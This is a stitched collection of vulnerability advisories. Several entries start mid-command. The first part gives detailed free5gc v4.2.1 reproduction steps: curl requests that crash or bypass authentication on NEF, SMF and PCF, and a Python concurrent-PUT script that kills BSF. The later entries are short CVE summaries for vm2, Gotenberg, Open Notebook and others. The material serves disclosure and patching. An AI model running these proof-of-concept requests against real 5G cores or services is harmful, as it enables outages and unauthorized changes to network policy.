`NFs/nef/internal/sbi/api_pfd.go:168` - `NFs/nef/internal/sbi/api_pfd.go:188` Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}' ``` 2. Create a PFD-management transaction: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}' ``` 3. Make UDR access fail (lab simulation): ``` docker stop nrf ``` 4. Trigger the panic with one PATCH: ``` curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. NEF container logs (`docker logs --since 2026-03-21T03:06:36Z nef`) confirm the nil-deref panic at `pfd.go:622` inside `PatchIndividualApplicationPFDManagement`: ``` [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement .../api_pfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 | ``` 6. Restore for further testing: ``` docker start nrf ``` NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the `errPfdData != nil` branch reads `problemDetails.Cause` even though `problemDetails` is nil by construction in that branch (the prior `case` already matched the non-nil case). The intended target was the locally constructed `problemDetailsErr.Cause`. Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns `500` (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22

{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203

{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf ``` Observed output: ``` HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"} ``` The `404` is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (`docker logs nef`) confirm the callback handler was reached: ``` [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf ``` Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF `nnef-callback` SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen `NotifId` happened to be invalid. Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid `NotifId` can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group. The `nnef-callback` route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24

{ logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25

{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart. This endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS. Validated against the BSF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/bsf:v4.2.1` - Docker validation date: 2026-03-22 - BSF endpoint: `http://10.100.200.11:8000` Read side (locked): ```go func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock() sub, exists := c.Subscriptions[subId] return sub, exists } ``` Unsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`): ```go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription ``` Under concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go's `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates. Code evidence (paths in `free5gc/bsf`): - Read side (locked): - `NFs/bsf/internal/sbi/processor/subscriptions.go:81` - `NFs/bsf/internal/context/context.go:726` - `NFs/bsf/internal/context/context.go:730` - Unsafe write side (the create-if-absent branch in PUT, no lock): - `NFs/bsf/internal/sbi/processor/subscriptions.go:111` - `NFs/bsf/internal/sbi/processor/subscriptions.go:114` The normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch. Reproduced end-to-end against the running BSF at `http://10.100.200.11:8000`. 1. Obtain a valid `nbsf-management` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management' ``` 2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): ```python import json, threading, urllib.request TOKEN = "<valid_nbsf_management_jwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCF_BINDING_CREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode() def send_put(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.add_header("Authorization", f"Bearer {TOKEN}") req.add_header("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read() threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=send_put, args=(i, n))) for t in threads: t.start() for t in threads: t.join() ``` 3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process: ``` [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f ``` 4. Container state confirms exit code 2: ``` exited|2|0 ``` Unsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart. Any party that holds (or can obtain) a valid `nbsf-management` token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage. No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. Control comparison -- same request shape but `suppFeat="0"` -> normal `201 Created`: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 201 Created ``` 4. PCF container logs show the panic stack landing in `provisioningOfTrafficRoutingInfo` with `routeReq = 0x0`: ``` [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions .../api_policyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions | ``` NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes `routeReq` straight into `provisioningOfTrafficRoutingInfo` without a nil check, even though `medComp.AfRoutReq` is optional and is nil for the demonstrated valid input shape. The control experiment with `suppFeat="0"` proves the request shape itself is otherwise valid. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with `suppFeat="1"` and `medComponents.*.AfAppId` set but `AfRoutReq` absent returns `HTTP 500` with empty body and a stack trace in PCF logs. Any party that holds (or can obtain) a valid `npcf-policyauthorization` token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65

{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPP_ACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }' ``` Observed response: `HTTP 500 Internal Server Error` with empty body. PCF container logs show: ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82... ``` The Gin recovery middleware catches the panic (the captured stack trace runs inside `ginRecover.func2.1`), so the PCF process keeps serving other requests; the realized impact is per-request `HTTP 500` on this endpoint whenever the downstream lookup fails. NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled `4xx`/`5xx` `ProblemDetails` and stop processing. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a `404` returns `HTTP 500` (with empty body and a stack trace in PCF logs) instead of a controlled error response. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844. Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present). Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62

{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions ``` 2. CREATE PFD transaction with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions ``` 3. READ -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 4. DELETE -> `204 No Content`: ``` curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted. NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules. The PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc <=v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23

Postiz is an AI social media scheduling tool. Prior to commit da44801, a "Pwn Request" vulnerability in the Build and Publish PR Docker Image workflow (.github/workflows/pr-docker-build.yml) allows any unauthenticated user to execute arbitrary code during the Docker build process and exfiltrate a highly privileged GITHUB_TOKEN (write-all permissions). This can be achieved simply by opening a Pull Request from a fork with a maliciously modified Dockerfile.dev. This issue has been patched via commit da44801.

Path traversal in Note Mark's asset upload feature allows authenticated users to inject directory traversal sequences into asset filenames via the X-Name HTTP header, which are stored unsanitized in the database. When an administrator subsequently runs data export CLI commands (typically as root in Docker deployments), the malicious filenames cause arbitrary file writes anywhere on the filesystem through Go's filepath.Join() path normalization. Attackers can achieve remote code execution as root by overwriting system binaries like /bin/bash or injecting cron jobs. Publicly available exploit code exists with video proof-of-concept demonstrating full RCE chain. Vendor-released patch available in version 0.19.4. CVSS 8.6 reflects network attack vector with low complexity but requires authenticated access and administrator interaction to trigger the export process.

Path traversal in Open Notebook v1.8.3's file upload functionality allows unauthenticated local users to read arbitrary files from the Docker container filesystem. The vulnerability stems from insufficient input validation, enabling attackers to bypass directory restrictions and access sensitive container files including configuration data, environment variables, and application secrets. CVSS 8.2 (High severity) reflects substantial confidentiality impact across system and container scopes, though no public exploit code or active exploitation has been identified at time of analysis.

Path traversal in Open Notebook v1.8.3's file upload allows arbitrary file creation or modification within the Docker container filesystem. Attackers with local access can write files outside intended directories, enabling container escape scenarios, configuration tampering, or privilege escalation by overwriting critical system files. No public exploit identified at time of analysis, but the vulnerability affects default configurations where file upload is accessible.

Server-Side Template Injection in Open Notebook v1.8.3 enables arbitrary Python code execution and OS command execution within the Docker container through unsanitized user input in transformation features. The vulnerability requires local access (CVSS AV:L) but no authentication or user interaction, making it exploitable by any application user with access to the transformation creation interface. No public exploit code identified at time of analysis, though the GitHub security advisory provides technical details for reproduction.

{nesting:true, require:false} are fully compromised — attackers can execute arbitrary OS commands as the host process user. Publicly available exploit code exists (proof-of-concept demonstrated command execution via child_process). CVSS 9.1 indicates high privileges required (PR:H), meaning the host must explicitly enable nesting:true, but the severity reflects scope change (S:C) when this non-default configuration is present. Vendor-released patch in vm2 3.11.1 converts contradictory configuration into a runtime error at NodeVM construction time, preventing silent sandbox escape.

Denial-of-service in vm2 Node.js sandbox allows unauthenticated remote attackers to crash host processes via unbounded Buffer.alloc() calls. The vm2 library's timeout mechanism cannot interrupt synchronous C++ native calls, enabling attackers to bypass configured timeout limits and exhaust host heap memory with a single HTTP request. Version 3.11.0 patches this flaw by introducing bufferAllocLimit controls. Publicly available exploit code exists (GHSA-6785-pvv7-mvg7 includes working POC), and while EPSS data is unavailable and the vulnerability is not listed in CISA KEV, the vendor-confirmed POC demonstrates reliable exploitation against default configurations.

Remote unauthenticated attackers can crash Node.js processes running vm2 <= 3.10.5 by triggering an unhandled Promise rejection that terminates the host application. The vulnerability exploits an incomplete fix for CVE-2026-22709 - while previous patches sanitized `.then()` and `.catch()` callback chains, they failed to intercept unhandled rejections originating from Promise constructor executors. Publicly available exploit code exists (GitHub advisory GHSA-hw58-p9xv-2mjh). The attack requires minimal resources (150-byte HTTP request) but achieves high impact by crashing entire server processes serving all concurrent users, with demonstrated persistent DoS despite container orchestration restart policies.

Kubetail Dashboard prior to version 0.14.0 fails to validate the Origin header on WebSocket connection upgrades, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks. An authenticated user visiting a malicious web page can be exploited to stream their Kubernetes container logs-including credentials, tokens, and PII often present in logs-to an attacker-controlled server. The vulnerability affects both desktop deployments at localhost:7500 and cluster deployments behind HTTP basic auth, with browser ambient credentials automatically attached to the WebSocket handshake.

Free5GC Access and Mobility Management Function (AMF) v4.2.1 and earlier fails to verify UE Security Capabilities in NGAP PathSwitchRequest messages, allowing a malicious gNB to overwrite the AMF's stored security algorithm preferences with arbitrary values. These corrupted capabilities are then propagated in PathSwitchRequestAcknowledge and subsequent HandoverRequest messages, causing all inter-gNB handovers for affected UEs to fail due to algorithm mismatches. This results in persistent handover denial-of-service until UE re-registration. The vulnerability is directly contrary to 3GPP TS 33.501 §6.7.3.1 verification requirements and has been demonstrated with a public proof-of-concept using Free5GC v4.2.1 and UERANSIM.

Gotenberg versions 8.31.0 and earlier allow unauthenticated remote attackers to enumerate and read arbitrary files under /tmp/ via the /forms/chromium/convert/url and /forms/chromium/screenshot/url endpoints using file:// scheme URLs. An attacker can discover in-flight conversion request directories and exfiltrate source files (HTML, Markdown, Office documents, staged PDFs) from other users' concurrent conversion requests by timing attacks to coincide with long-running conversion operations. The vulnerability exploits a logic flaw where the URL routes fail to set per-request scope guards that HTML/Markdown routes correctly apply, causing file:// access control enforcement to silently skip for URL-based conversions.

Unauthenticated server-side request forgery (SSRF) in Gotenberg 8.30.1 and earlier allows remote attackers to force the server to make HTTP requests to internal/loopback addresses by bypassing default deny-lists with IPv4-mapped IPv6 notation (e.g., http://[::ffff:127.0.0.1]:port). The vulnerability affects both the downloadFrom file-fetching feature and the webhook delivery feature. Attackers can read content from internal HTTP endpoints and trigger state-changing requests against services bound to localhost, exposing internal APIs, cloud metadata endpoints, and admin interfaces. Fix available in version 8.32.0. No public exploit code confirmed outside the GitHub advisory PoC, not listed in CISA KEV, but CVSS 9.4 Critical rating reflects the network-accessible, unauthenticated nature and high confidentiality/integrity impact.

Unauthenticated remote attackers crash Gotenberg 8.x (≤ 8.31.0) by triggering a race condition between webhook goroutine context reuse and Echo framework connection pooling. When webhook middleware spawns an async goroutine holding an `echo.Context` reference, the synchronous handler returns immediately, recycling the context to Echo's `sync.Pool`. Concurrent requests reset the pooled context, causing unchecked type assertions in the still-running webhook goroutine to panic outside any `recover()` scope, terminating the process with exit code 2. Twenty-four webhook requests plus sixty concurrent GET requests demonstrate reliable two-second crash windows. No patch was available at initial disclosure; upstream commit fixes the panic in version 8.32.0. CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) reflects trivial unauthenticated network exploitation producing complete service disruption.

Arbitrary PDF file read vulnerability in Gotenberg versions up to 8.31.0 allows unauthenticated remote attackers to extract PDF content via path traversal in stampExpression and watermarkExpression parameters on six conversion routes (pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, chromium/convert/markdown). The vulnerability exists because these routes accept user-controlled file paths without validation when stamp or watermark source is set to PDF, unlike the dedicated stamp/watermark routes which enforce file upload requirements. An attacker can read any PDF accessible to the Gotenberg process by specifying its filesystem path, gaining access to potentially sensitive documents in containerized deployments or systems with mounted directories.

DNS rebinding vulnerability in Gotenberg allows unauthenticated remote attackers to bypass SSRF protections and access internal services via Chromium URL conversion routes. When a URL is submitted for PDF conversion, Gotenberg validates the resolved IP address against a deny-list but discards the pinned result. Chromium then performs independent DNS resolution multiple times, creating a race condition where an attacker controlling DNS can return a public IP during validation and a private IP during connection, allowing access to loopback services, cloud metadata endpoints, or internal networks. Exploitation succeeds approximately 10% per attempt with trivial automation.

Server-Side Request Forgery in Gotenberg's LibreOffice conversion endpoint allows remote attackers to make arbitrary HTTP requests from the server to internal networks and cloud metadata endpoints. Attackers upload specially crafted Office documents (DOCX, XLSX, PPTX) with embedded external URL references that LibreOffice fetches during PDF conversion, completely bypassing the SSRF protections introduced in v8.31.0. Publicly available exploit code exists with detailed proof-of-concept showing three successful HTTP requests to attacker-controlled servers. The vulnerability enables exfiltration of cloud IAM credentials from metadata services (169.254.169.254), internal service enumeration, and network reconnaissance without authentication. CVSS 8.2 with network vector and no privileges required reflects accurate real-world risk given documented exploitation method and lack of vendor-released patch.

